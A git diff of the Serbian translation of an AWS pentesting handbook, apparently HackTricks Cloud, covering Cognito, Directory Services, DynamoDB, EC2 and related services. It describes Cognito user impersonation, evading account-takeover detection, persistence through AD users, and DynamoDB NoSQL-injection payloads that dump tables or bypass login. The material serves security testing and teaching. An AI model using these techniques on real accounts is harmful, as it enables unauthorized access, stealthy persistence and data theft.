pojaviće se u ID Tokenu unutar **`email`** **polja** i polje **`email_verified`** će biti **false**, ali ako aplikacija **ne proverava to, možda ćete moći da se pretvarate da ste drugi korisnici**. > Pored toga, imajte na umu da možete staviti bilo šta unutar **`name`** polja jednostavno modifikujući **atribut imena**. Ako aplikacija **proverava** to polje iz nekog razloga **umesto `email`** (ili bilo kog drugog atributa), možda ćete moći da **se pretvarate da ste drugi korisnici**. -U svakom slučaju, ako ste iz nekog razloga promenili svoj email, na primer, na novi na koji možete pristupiti, možete **potvrditi email sa kodom koji ste primili na tu email adresu**: +U svakom slučaju, ako ste iz nekog razloga promenili svoj email, na primer na novi na koji možete pristupiti, možete **potvrditi email sa kodom koji ste primili na tu email adresu**: ```bash aws cognito-idp verify-user-attribute \ --access-token \ --attribute-name email --code \ --region --no-sign-request ``` -Koristite **`phone_number`** umesto **`email`** za promenu/verifikaciju **novog broja telefona**. +Koristite **`phone_number`** umesto **`email`** da promenite/overite **novi broj telefona**. > [!NOTE] -> Administrator takođe može omogućiti opciju da se **prijavi sa korisničkim imenom po izboru korisnika**. Imajte na umu da nećete moći da promenite ovu vrednost na **bilo koje korisničko ime ili preferred_username koje se već koristi** za impersonaciju drugog korisnika. +> Administrator takođe može omogućiti opciju da se **prijavite sa korisničkim imenom po izboru korisnika**. Imajte na umu da nećete moći da promenite ovu vrednost na **bilo koje korisničko ime ili preferred_username koje se već koristi** za impersonaciju drugog korisnika. ### Oporavak/Promena lozinke @@ -158,13 +158,13 @@ aws cognito-idp change-password \ ``` ## Autentifikacija -Grupa korisnika podržava **različite načine autentifikacije**. Ako imate **korisničko ime i lozinku**, postoje i **različite metode** za prijavu.\ -Pored toga, kada je korisnik autentifikovan u grupi, **dodeljuju se 3 vrste tokena**: **ID token**, **Access token** i **Refresh token**. +Korisnički bazen podržava **različite načine autentifikacije**. Ako imate **korisničko ime i lozinku**, takođe su podržane **različite metode** za prijavu.\ +Pored toga, kada je korisnik autentifikovan u bazenu, **dodeljuju se 3 vrste tokena**: **ID token**, **Access token** i **Refresh token**. - [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Sadrži tvrdnje o **identitetu autentifikovanog korisnika**, kao što su `ime`, `email` i `broj_telefona`. ID token se takođe može koristiti za **autentifikaciju korisnika na vašim serverskim resursima ili aplikacijama**. Morate **verifikovati** **potpis** ID tokena pre nego što možete verovati bilo kojim tvrdnjama unutar ID tokena ako ga koristite u spoljnim aplikacijama. -- ID Token je token koji **sadrži vrednosti atributa korisnika**, čak i prilagođenih. -- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Sadrži tvrdnje o autentifikovanom korisniku, listu **grupa korisnika i listu opsega**. Svrha access tokena je da **ovlasti API operacije** u kontekstu korisnika u grupi korisnika. Na primer, možete koristiti access token da **dodelite svom korisniku pristup** za dodavanje, promenu ili brisanje atributa korisnika. -- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Sa refresh tokenima možete **dobiti nove ID tokene i Access tokene** za korisnika dok **refresh token nije nevažeći**. Po **defaultu**, refresh token **isteče 30 dana nakon** što se korisnik vaše aplikacije prijavi u vašu grupu korisnika. Kada kreirate aplikaciju za vašu grupu korisnika, možete postaviti isteknuće refresh tokena aplikacije na **bilo koju vrednost između 60 minuta i 10 godina**. +- ID Token je token koji **sadrži vrednosti atributa korisnika**, čak i prilagođene. +- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Sadrži tvrdnje o autentifikovanom korisniku, listu **grupa korisnika i listu opsega**. Svrha access tokena je da **ovlasti API operacije** u kontekstu korisnika u korisničkom bazenu. Na primer, možete koristiti access token da **dodelite svom korisniku pristup** za dodavanje, promenu ili brisanje atributa korisnika. +- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Sa refresh tokenima možete **dobiti nove ID tokene i Access tokene** za korisnika dok **refresh token nije nevažeći**. Po **defaultu**, refresh token **isteče 30 dana nakon** što se korisnik prijavi u vaš korisnički bazen. Kada kreirate aplikaciju za svoj korisnički bazen, možete postaviti isteka refresh tokena aplikacije na **bilo koju vrednost između 60 minuta i 10 godina**. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH @@ -175,9 +175,9 @@ Ovo je tok autentifikacije sa servera: Ova **metoda NIJE omogućena** po defaultu. -Da biste **prijavili** se, **morate** znati: +Da biste se **prijavili**, potrebno je da znate: -- id grupe korisnika +- id korisničkog bazena - id klijenta - korisničko ime - lozinku @@ -185,7 +185,7 @@ Da biste **prijavili** se, **morate** znati: > [!NOTE] > Da biste mogli da se **prijavite ovom metodom**, ta aplikacija mora dozvoliti prijavu sa `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Pored toga, da biste izvršili ovu akciju, potrebni su vam kredencijali sa dozvolama **`cognito-idp:AdminInitiateAuth`** i **`cognito-idp:AdminRespondToAuthChallenge`**. +> Pored toga, da biste izvršili ovu akciju, potrebni su vam kredencijali sa dozvolama **`cognito-idp:AdminInitiateAuth`** i **`cognito-idp:AdminRespondToAuthChallenge`** ```python aws cognito-idp admin-initiate-auth \ --client-id \ @@ -256,7 +256,7 @@ Da biste **se prijavili**, potrebno je da znate: - client secret (samo ako je aplikacija konfigurisana da koristi tajnu) > [!NOTE] -> Da biste **mogli da se prijavite ovom metodom**, ta aplikacija mora dozvoliti prijavu sa ALLOW_USER_PASSWORD_AUTH. +> Da biste **mogli da se prijavite ovom metodom**, ta aplikacija mora omogućiti prijavu sa ALLOW_USER_PASSWORD_AUTH. ```python aws cognito-idp initiate-auth --client-id \ --auth-flow USER_PASSWORD_AUTH --region \ @@ -310,10 +310,10 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_SRP_AUTH -Ova situacija je slična prethodnoj, ali **umesto slanja lozinke** kroz mrežu za prijavu, **izvodi se autentifikacija izazovom** (tako da lozinka ne prolazi čak ni enkriptovana kroz mrežu).\ +Ovaj scenario je sličan prethodnom, ali **umesto slanja lozinke** kroz mrežu za prijavu, **izvodi se autentifikacija izazovom** (tako da lozinka ne prolazi čak ni enkriptovana kroz mrežu).\ Ova **metoda je omogućena** po defaultu. -Da biste **prijavili** potrebno je da znate: +Da biste se **prijavili**, potrebno je da znate: - id korisničkog bazena - id klijenta @@ -395,7 +395,7 @@ U ovom slučaju, **autentifikacija** će se vršiti kroz **izvršenje lambda fun ### Napredna sigurnost -Podrazumevano je onemogućena, ali ako je omogućena, Cognito bi mogao da **pronađe preuzimanje naloga**. Da biste minimizirali verovatnoću, trebali biste se prijaviti sa **mreže unutar istog grada, koristeći isti korisnički agent** (i IP ako je to moguće)**.** +Podrazumevano je onemogućena, ali ako je omogućena, Cognito bi mogao da **pronađe preuzimanje naloga**. Da biste smanjili verovatnoću, trebali biste se prijaviti sa **mreže unutar istog grada, koristeći isti korisnički agent** (i IP ako je to moguće)**.** ### **MFA Zapamti uređaj** @@ -406,19 +406,19 @@ Ako se korisnik prijavi sa istog uređaja, MFA može biti zaobiđena, stoga poku Moguće je dodati **korisnike u grupe korisničkog bazena** koje su povezane sa jednom **IAM ulogom**.\ Štaviše, **korisnici** mogu biti dodeljeni **više od 1 grupi sa različitim IAM ulogama**. -Napomena: čak i ako je grupa unutar grupe sa dodeljenom IAM ulogom, da bi mogli da pristupite IAM kredencijalima te grupe, potrebno je da **Korisnički bazen bude poveren od strane Identitetskog bazena** (i da znate detalje tog Identitetskog bazena). +Napomena: čak i ako je grupa unutar grupe sa dodeljenom IAM ulogom, da bi mogla da pristupi IAM kredencijalima te grupe, potrebno je da **Korisnički bazen bude poveren Identitetskom bazenu** (i da zna detalje tog Identitetskog bazena). -Još jedan zahtev za dobijanje **IAM uloge navedene u IdToken-u** kada je korisnik autentifikovan u Korisničkom bazenu (`aws cognito-idp initiate-auth...`) je da **provajder autentifikacije identiteta** treba da naznači da **uloga mora biti izabrana iz tokena.** +Još jedan zahtev za dobijanje **IAM uloge navedene u IdToken-u** kada je korisnik autentifikovan u Korisničkom bazenu (`aws cognito-idp initiate-auth...`) je da **provajder autentifikacije identiteta** treba da naznači da **uloga mora biti odabrana iz tokena.**
-**Uloge** kojima korisnik ima pristup su **unutar `IdToken`**, i korisnik može **izabrati koju ulogu želi za kredencijale** sa **`--custom-role-arn`** iz `aws cognito-identity get-credentials-for-identity`.\ -Međutim, ako je **podrazumevana opcija** ona **konfigurisana** (`koristi podrazumevanu ulogu`), i pokušate da pristupite ulozi iz IdToken-a, dobićete **grešku** (zato je potrebna prethodna konfiguracija): +**Uloge** kojima korisnik ima pristup su **unutar `IdToken`**, i korisnik može **odabrati koju ulogu želi za kredencijale** sa **`--custom-role-arn`** iz `aws cognito-identity get-credentials-for-identity`.\ +Međutim, ako je **podrazumevana opcija** ona **konfigurisana** (`use default role`), i pokušate da pristupite ulozi iz IdToken-a, dobićete **grešku** (zato je potrebna prethodna konfiguracija): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` > [!WARNING] -> Imajte na umu da uloga dodeljena **Grupi korisničkih pool-a** mora biti **dostupna od strane Provajdera identiteta** koji **veruje korisničkom pool-u** (jer će **session kredencijali IAM uloge biti dobijeni iz nje**). +> Imajte na umu da uloga dodeljena **User Pool Group** treba da bude **dostupna od strane Identity Provider** koji **veruje User Pool** (jer će **session credentials IAM uloge biti dobijeni iz nje**). ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index cd3120e33..14c249a5c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -7,7 +7,7 @@ AWS Data Pipeline je dizajniran da olakša **pristup, transformaciju i efikasan prenos** podataka na velikoj skali. Omogućava sledeće operacije: 1. **Pristupite svojim podacima gde su pohranjeni**: Podaci koji se nalaze u raznim AWS uslugama mogu se neometano pristupiti. -2. **Transformišite i obrađujte na velikoj skali**: Obimni zadaci obrade i transformacije podataka se efikasno obavljaju. +2. **Transformišite i obrađujte na velikoj skali**: Zadaci obrade i transformacije podataka na velikoj skali se efikasno obavljaju. 3. **Efikasno prenesite rezultate**: Obradni podaci se mogu efikasno preneti na više AWS usluga uključujući: - Amazon S3 - Amazon RDS @@ -54,9 +54,9 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite dozvole codepipe ## CodeCommit -To je **usluga za kontrolu verzija**, koja je hostovana i potpuno upravljana od strane Amazona, a može se koristiti za privatno skladištenje podataka (dokumenata, binarnih fajlova, izvornog koda) i upravljanje njima u oblaku. +To je **usluga za kontrolu verzija**, koja je hostovana i potpuno upravljana od strane Amazona, a može se koristiti za privatno čuvanje podataka (dokumenata, binarnih fajlova, izvornog koda) i upravljanje njima u oblaku. -Ona **eliminira** potrebu da korisnik zna Git i **upravlja sopstvenim sistemom kontrole verzija** ili brine o skaliranju svoje infrastrukture. Codecommit podržava sve standardne **funkcionalnosti koje se mogu naći u Gitu**, što znači da besprekorno funkcioniše sa trenutnim Git alatima korisnika. +Ona **eliminira** potrebu da korisnik poznaje Git i **upravlja sopstvenim sistemom kontrole verzija** ili brine o skaliranju svoje infrastrukture. Codecommit podržava sve standardne **funkcionalnosti koje se mogu naći u Gitu**, što znači da besprekorno funkcioniše sa trenutnim Git alatima korisnika. ### Enumeration ```bash @@ -90,7 +90,7 @@ ssh-keygen -f .ssh/id_rsa -l -E md5 # Clone repo git clone ssh://@git-codecommit..amazonaws.com/v1/repos/ ``` -## References +## Reference - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 59f1b8065..50531ba6e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,17 +4,17 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory je upravljana usluga koja olakšava **postavljanje, upravljanje i skaliranje direktorijuma** u AWS Cloud-u. Izgrađena je na stvarnom **Microsoft Active Directory** i čvrsto se integriše s drugim AWS uslugama, olakšavajući upravljanje vašim radnim opterećenjima i AWS resursima koji su svesni direktorijuma. Sa AWS Managed Microsoft AD, možete **koristiti svoje postojeće** Active Directory korisnike, grupe i politike za upravljanje pristupom vašim AWS resursima. Ovo može pomoći u pojednostavljivanju upravljanja identitetom i smanjenju potrebe za dodatnim rešenjima identiteta. AWS Managed Microsoft AD takođe pruža automatske rezervne kopije i mogućnosti oporavka od katastrofa, pomažući da se osigura dostupnost i trajnost vašeg direktorijuma. Sve u svemu, AWS Directory Service for Microsoft Active Directory može vam pomoći da uštedite vreme i resurse pružajući upravljanu, visoko dostupnu i skalabilnu Active Directory uslugu u AWS Cloud-u. +AWS Directory Service za Microsoft Active Directory je upravljana usluga koja olakšava **postavljanje, upravljanje i skaliranje direktorijuma** u AWS Cloud-u. Izgrađena je na stvarnom **Microsoft Active Directory** i čvrsto se integriše sa drugim AWS uslugama, olakšavajući upravljanje vašim radnim opterećenjima i AWS resursima koji su svesni direktorijuma. Sa AWS Managed Microsoft AD, možete **koristiti svoje postojeće** Active Directory korisnike, grupe i politike za upravljanje pristupom vašim AWS resursima. Ovo može pomoći u pojednostavljivanju upravljanja identitetom i smanjenju potrebe za dodatnim rešenjima identiteta. AWS Managed Microsoft AD takođe pruža automatske rezervne kopije i mogućnosti oporavka od katastrofa, pomažući da se osigura dostupnost i trajnost vašeg direktorijuma. Sve u svemu, AWS Directory Service za Microsoft Active Directory može vam pomoći da uštedite vreme i resurse pružajući upravljanu, visoko dostupnu i skalabilnu Active Directory uslugu u AWS Cloud-u. ### Options Directory Services omogućava kreiranje 5 tipova direktorijuma: - **AWS Managed Microsoft AD**: Koji će pokrenuti novi **Microsoft AD u AWS-u**. Moći ćete da postavite administratorsku lozinku i pristupite DC-ima u VPC-u. -- **Simple AD**: Koji će biti **Linux-Samba** server kompatibilan sa Active Directory-jem. Moći ćete da postavite administratorsku lozinku i pristupite DC-ima u VPC-u. -- **AD Connector**: Proksi za **preusmeravanje zahteva za direktorijumom na vaš postojeći Microsoft Active Directory** bez keširanja bilo kakvih informacija u oblaku. Biće aktivan u **VPC-u** i morate dati **akreditive za pristup postojećem AD-u**. +- **Simple AD**: Koji će biti **Linux-Samba** server kompatibilan sa Active Directory. Moći ćete da postavite administratorsku lozinku i pristupite DC-ima u VPC-u. +- **AD Connector**: Proksi za **preusmeravanje zahteva za direktorijumom na vaš postojeći Microsoft Active Directory** bez keširanja bilo kakvih informacija u oblaku. Biće u režimu slušanja u **VPC-u** i morate dati **akreditive za pristup postojećem AD-u**. - **Amazon Cognito User Pools**: Ovo je isto kao Cognito User Pools. -- **Cloud Directory**: Ovo je **najjednostavnije**. **Serverless** direktorijum gde označavate **šemu** koja će se koristiti i naplaćujete se **prema korišćenju**. +- **Cloud Directory**: Ovo je **najjednostavnije**. **Serverless** direktorijum gde označavate **šemu** koju želite da koristite i **naplaćuje se prema korišćenju**. AWS Directory services omogućava **sinhronizaciju** sa vašim postojećim **on-premises** Microsoft AD, **pokretanje vlastitog** u AWS-u ili sinhronizaciju sa **drugim tipovima direktorijuma**. @@ -35,7 +35,7 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` -### Login +### Prijava Napomena da ako **opis** direktorijuma sadrži **domen** u polju **`AccessUrl`**, to je zato što korisnik verovatno može da se **prijavi** sa svojim **AD akreditivima** u nekim **AWS uslugama:** @@ -45,39 +45,39 @@ Napomena da ako **opis** direktorijuma sadrži **domen** u polju **`AccessUrl`** - `.awsapps.com/console` (Amazon Management Console) - `.awsapps.com/start` (IAM Identity Center) -### Privilege Escalation +### Eskalacija privilegija {{#ref}} ../aws-privilege-escalation/aws-directory-services-privesc.md {{#endref}} -## Persistence +## Postojanost -### Using an AD user +### Korišćenje AD korisnika -**AD korisniku** može biti dodeljen **pristup AWS upravljačkoj konzoli** putem uloge koju treba preuzeti. **Podrazumevano korisničko ime je Admin** i moguće je **promeniti njegovu lozinku** iz AWS konzole. +**AD korisniku** može biti dodeljen **pristup AWS upravljačkoj konzoli** putem uloge koju treba preuzeti. **Podrazumevano korisničko ime je Admin** i moguće je **promeniti lozinku** iz AWS konzole. -Stoga, moguće je **promeniti lozinku Admin-a**, **napraviti novog korisnika** ili **promeniti lozinku** korisnika i dodeliti toj osobi ulogu kako bi se održao pristup.\ -Takođe je moguće **dodati korisnika u grupu unutar AD** i **dati toj AD grupi pristup ulozi** (da bi se ova postojanost učinila manje uočljivom). +Stoga, moguće je **promeniti lozinku Admin-a**, **napraviti novog korisnika** ili **promeniti lozinku** korisnika i dodeliti toj osobi ulogu za održavanje pristupa.\ +Takođe je moguće **dodati korisnika u grupu unutar AD** i **dati toj AD grupi pristup ulozi** (da bi se ova postojanost učinila diskretnijom). -### Sharing AD (from victim to attacker) +### Deljenje AD (od žrtve do napadača) Moguće je deliti AD okruženje od žrtve do napadača. Na ovaj način napadač će moći da nastavi sa pristupom AD okruženju.\ Međutim, to podrazumeva deljenje upravljanog AD-a i takođe kreiranje VPC peering veze. Možete pronaći vodič ovde: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) -### ~~Sharing AD (from attacker to victim)~~ +### ~~Deljenje AD (od napadača do žrtve)~~ Ne izgleda da je moguće dodeliti AWS pristup korisnicima iz različitog AD okruženja jednoj AWS nalogu. ## WorkDocs -Amazon Web Services (AWS) WorkDocs je usluga za **skladištenje i deljenje datoteka** zasnovana na oblaku. Deo je AWS paketa usluga računarstva u oblaku i dizajniran je da pruži sigurno i skalabilno rešenje za organizacije za skladištenje, deljenje i saradnju na datotekama i dokumentima. +Amazon Web Services (AWS) WorkDocs je usluga za **skladištenje i deljenje datoteka** zasnovana na oblaku. Deo je AWS paketa usluga računarstva u oblaku i dizajnirana je da pruži sigurno i skalabilno rešenje za organizacije za skladištenje, deljenje i saradnju na datotekama i dokumentima. -AWS WorkDocs pruža web interfejs za korisnike da otpremaju, pristupaju i upravljaju svojim datotekama i dokumentima. Takođe nudi funkcije kao što su kontrola verzija, saradnja u realnom vremenu i integracija sa drugim AWS uslugama i alatima trećih strana. +AWS WorkDocs pruža web-interfejs za korisnike da otpremaju, pristupaju i upravljaju svojim datotekama i dokumentima. Takođe nudi funkcije kao što su kontrola verzija, saradnja u realnom vremenu i integracija sa drugim AWS uslugama i alatima trećih strana. -### Enumeration +### Enumeracija ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index efb589da2..9728e8293 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -21,7 +21,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute ``` ### NoSQL Injection -Pošto je DocumentDB kompatibilna sa MongoDB, možete zamisliti da je takođe podložna uobičajenim NoSQL injection napadima: +Pošto je DocumentDB kompatibilna sa MongoDB, možete zamisliti da je takođe podložna uobičajenim NoSQL injekcijama: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index b972e3352..11c37648a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -6,9 +6,9 @@ ### Osnovne informacije -Amazon DynamoDB se predstavlja kao **potpuno upravljana, serverless, key-value NoSQL baza podataka**, prilagođena za pokretanje aplikacija visokih performansi bez obzira na njihovu veličinu. Usluga obezbeđuje robusne karakteristike uključujući inherentne mere bezbednosti, neprekidne rezervne kopije, automatsku replikaciju širom više regiona, integrisano keširanje u memoriji i praktične alate za izvoz podataka. +Amazon DynamoDB se predstavlja kao **potpuno upravljana, serverless, key-value NoSQL baza podataka**, prilagođena za pokretanje aplikacija visokih performansi bez obzira na njihovu veličinu. Usluga obezbeđuje robusne karakteristike uključujući inherentne bezbednosne mere, neprekidne rezervne kopije, automatsku replikaciju širom više regiona, integrisano keširanje u memoriji i praktične alate za izvoz podataka. -U kontekstu DynamoDB, umesto uspostavljanja tradicionalne baze podataka, **kreiraju se tabele**. Svaka tabela zahteva specifikaciju **ključne particije** kao integralnog dela **primarnog ključa tabele**. Ovaj ključ particije, suštinski **hash vrednost**, igra ključnu ulogu u preuzimanju stavki i distribuciji podataka širom različitih hostova. Ova distribucija je ključna za održavanje i skalabilnosti i dostupnosti baze podataka. Pored toga, postoji opcija za uključivanje **sortnog ključa** kako bi se dodatno poboljšala organizacija podataka. +U kontekstu DynamoDB, umesto uspostavljanja tradicionalne baze podataka, **kreiraju se tabele**. Svaka tabela zahteva specifikaciju **partition key** kao integralnog dela **primarnog ključa tabele**. Ovaj partition key, suštinski **hash vrednost**, igra ključnu ulogu u preuzimanju stavki i distribuciji podataka širom različitih hostova. Ova distribucija je ključna za održavanje i skalabilnosti i dostupnosti baze podataka. Pored toga, postoji opcija za uključivanje **sort key** za dalju rafinaciju organizacije podataka. ### Enkripcija @@ -18,9 +18,9 @@ Podrazumevano, DynamoDB koristi KMS ključ koji \*\*pripada Amazon DynamoDB,\*\* ### Rezervne kopije i izvoz u S3 -Moguće je **zakazati** generisanje **rezervnih kopija tabela** ili ih kreirati na **zahtev**. Štaviše, takođe je moguće omogućiti **obnovu u tački vremena (PITR) za tabelu.** Obnova u tački vremena pruža kontinuirane **rezervne kopije** vaših DynamoDB podataka za **35 dana** kako bi vam pomogla da se zaštitite od slučajnih operacija pisanja ili brisanja. +Moguće je **zakazati** generisanje **rezervnih kopija tabela** ili ih kreirati na **zahtev**. Štaviše, takođe je moguće omogućiti **Point-in-time recovery (PITR) za tabelu.** Point-in-time recovery obezbeđuje kontinuirane **rezervne kopije** vaših DynamoDB podataka za **35 dana** kako bi vam pomogao da se zaštitite od slučajnih operacija pisanja ili brisanja. -Takođe je moguće izvesti **podatke tabele u S3**, ali tabela mora imati **omogućenu PITR**. +Takođe je moguće izvesti **podatke tabele u S3**, ali tabela mora imati **PITR omogućeno**. ### GUI @@ -71,7 +71,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### Persistencija +### Perzistencija {{#ref}} ../aws-persistence/aws-dynamodb-persistence.md @@ -81,7 +81,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ### SQL Injekcija -Postoje načini za pristupanje podacima u DynamoDB koristeći **SQL sintaksu**, stoga su tipične **SQL injekcije takođe moguće**. +Postoje načini za pristupanje DynamoDB podacima sa **SQL sintaksom**, stoga su tipične **SQL injekcije takođe moguće**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection @@ -89,7 +89,7 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### NoSQL Injekcija -U DynamoDB različite **uslove** je moguće koristiti za preuzimanje podataka, kao u uobičajenoj NoSQL injekciji, ako je moguće **povezati više uslova za preuzimanje** podataka, mogli biste dobiti skrivene podatke (ili izvući celu tabelu).\ +U DynamoDB različite **uslove** mogu se koristiti za preuzimanje podataka, kao u uobičajenoj NoSQL injekciji, ako je moguće **povezati više uslova za preuzimanje** podataka, mogli biste dobiti skrivene podatke (ili izvući celu tabelu).\ Ovde možete pronaći uslove koje podržava DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) Napomena da se **različiti uslovi** podržavaju ako se podaci pristupaju putem **`query`** ili putem **`scan`**. @@ -97,7 +97,7 @@ Napomena da se **različiti uslovi** podržavaju ako se podaci pristupaju putem > [!NOTE] > U stvari, **Query** akcije moraju da specificiraju **uslov "EQ" (jednako)** u **primarnom** ključu da bi funkcionisale, čineći ih mnogo **manje podložnim NoSQL injekcijama** (i takođe čineći operaciju veoma ograničenom). -Ako možete **promeniti poređenje** koje se vrši ili dodati nova, mogli biste preuzeti više podataka. +Ako možete **promeniti poređenje** koje se vrši ili dodati nove, mogli biste preuzeti više podataka. ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" @@ -125,7 +125,7 @@ napadač bi mogao da ubaci nešto poput: ispravite "EQ" uslov tražeći ID 1000, a zatim tražeći sve podatke sa ID stringom većim od 0, što je sve. -Još jedan **ranjiv primer korišćenja prijave** mogao bi biti: +Još jedan **ranjiv primer koristeći prijavu** mogao bi biti: ```python scan_filter = """{ "username": { @@ -148,7 +148,7 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` ### :property Injection -Neki SDK-ovi omogućavaju korišćenje stringa koji ukazuje na filtriranje koje treba izvršiti kao: +Neki SDK-ovi omogućavaju korišćenje stringa koji označava filtriranje koje treba izvršiti kao: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index e1e82e1b9..2faeebafa 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -20,7 +20,7 @@ Zanimljive stvari za enumeraciju u EC2: - SSH ključevi - Podaci o korisnicima - Postojeći EC2/AMI/snapshoti -- Mreža +- Mreženje - Mreže - Podmreže - Javne IP adrese @@ -31,7 +31,7 @@ Zanimljive stvari za enumeraciju u EC2: Korišćenje **rola** za dodeljivanje dozvola aplikacijama koje se pokreću na **EC2 instancama** zahteva malo dodatne konfiguracije. Aplikacija koja se pokreće na EC2 instanci je apstrahovana od AWS-a putem virtuelizovanog operativnog sistema. Zbog ove dodatne separacije, potrebna je dodatna faza za dodeljivanje AWS uloge i njenih povezanih dozvola EC2 instanci i njihovo dostupnost aplikacijama. -Ova dodatna faza je **kreiranje** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) vezanog za instancu. **Instance profile sadrži ulogu i** može obezbediti privremene akreditive uloge aplikaciji koja se pokreće na instanci. Ti privremeni akreditive se zatim mogu koristiti u API pozivima aplikacije za pristup resursima i za ograničavanje pristupa samo onim resursima koje uloga specificira. Imajte na umu da **samo jedna uloga može biti dodeljena EC2 instanci** u isto vreme, a sve aplikacije na instanci dele istu ulogu i dozvole. +Ova dodatna faza je **kreiranje** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) vezanog za instancu. **Instance profile sadrži ulogu i** može obezbediti privremene akreditive uloge aplikaciji koja se pokreće na instanci. Ti privremeni akreditive se zatim mogu koristiti u API pozivima aplikacije za pristup resursima i za ograničavanje pristupa samo onim resursima koje uloga specificira. Imajte na umu da **samo jedna uloga može biti dodeljena EC2 instanci** u isto vreme, i sve aplikacije na instanci dele istu ulogu i dozvole. ### Metadata Endpoint @@ -127,7 +127,7 @@ aws ec2 describe-route-tables aws ec2 describe-vpcs aws ec2 describe-vpc-peering-connections ``` -### Neautentifikovani Pristup +### Neautentifikovani pristup {{#ref}} ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -155,7 +155,7 @@ Snapshot-i mogu sadržati **osetljive informacije** kao što su **izvorni kod il ### Razlika između AMI i EBS -**AMI** se koristi za **pokretanje EC2 instance**, dok se EC2 **Snapshot** koristi za **backup i oporavak podataka sa EBS volumena**. Dok se EC2 Snapshot može koristiti za kreiranje novog AMI-ja, to nije isto što i AMI, i ne uključuje informacije o operativnom sistemu, serverskom aplikaciji ili drugom softveru potrebnom za pokretanje aplikacije. +**AMI** se koristi za **pokretanje EC2 instance**, dok se EC2 **snapshot** koristi za **backup i oporavak podataka sa EBS volumena**. Dok se EC2 snapshot može koristiti za kreiranje novog AMI-ja, to nije isto što i AMI, i ne uključuje informacije o operativnom sistemu, serverskom softveru ili drugom softveru potrebnom za pokretanje aplikacije. ### Privesc @@ -182,7 +182,7 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` -Možete proveriti da li Systems Manager radi u EC2 instanci jednostavno izvršavanjem: +Možete proveriti da li Systems Manager radi na EC2 instanci jednostavno izvršavanjem: ```bash ps aux | grep amazon-ssm ``` @@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers ``` ## Nitro -AWS 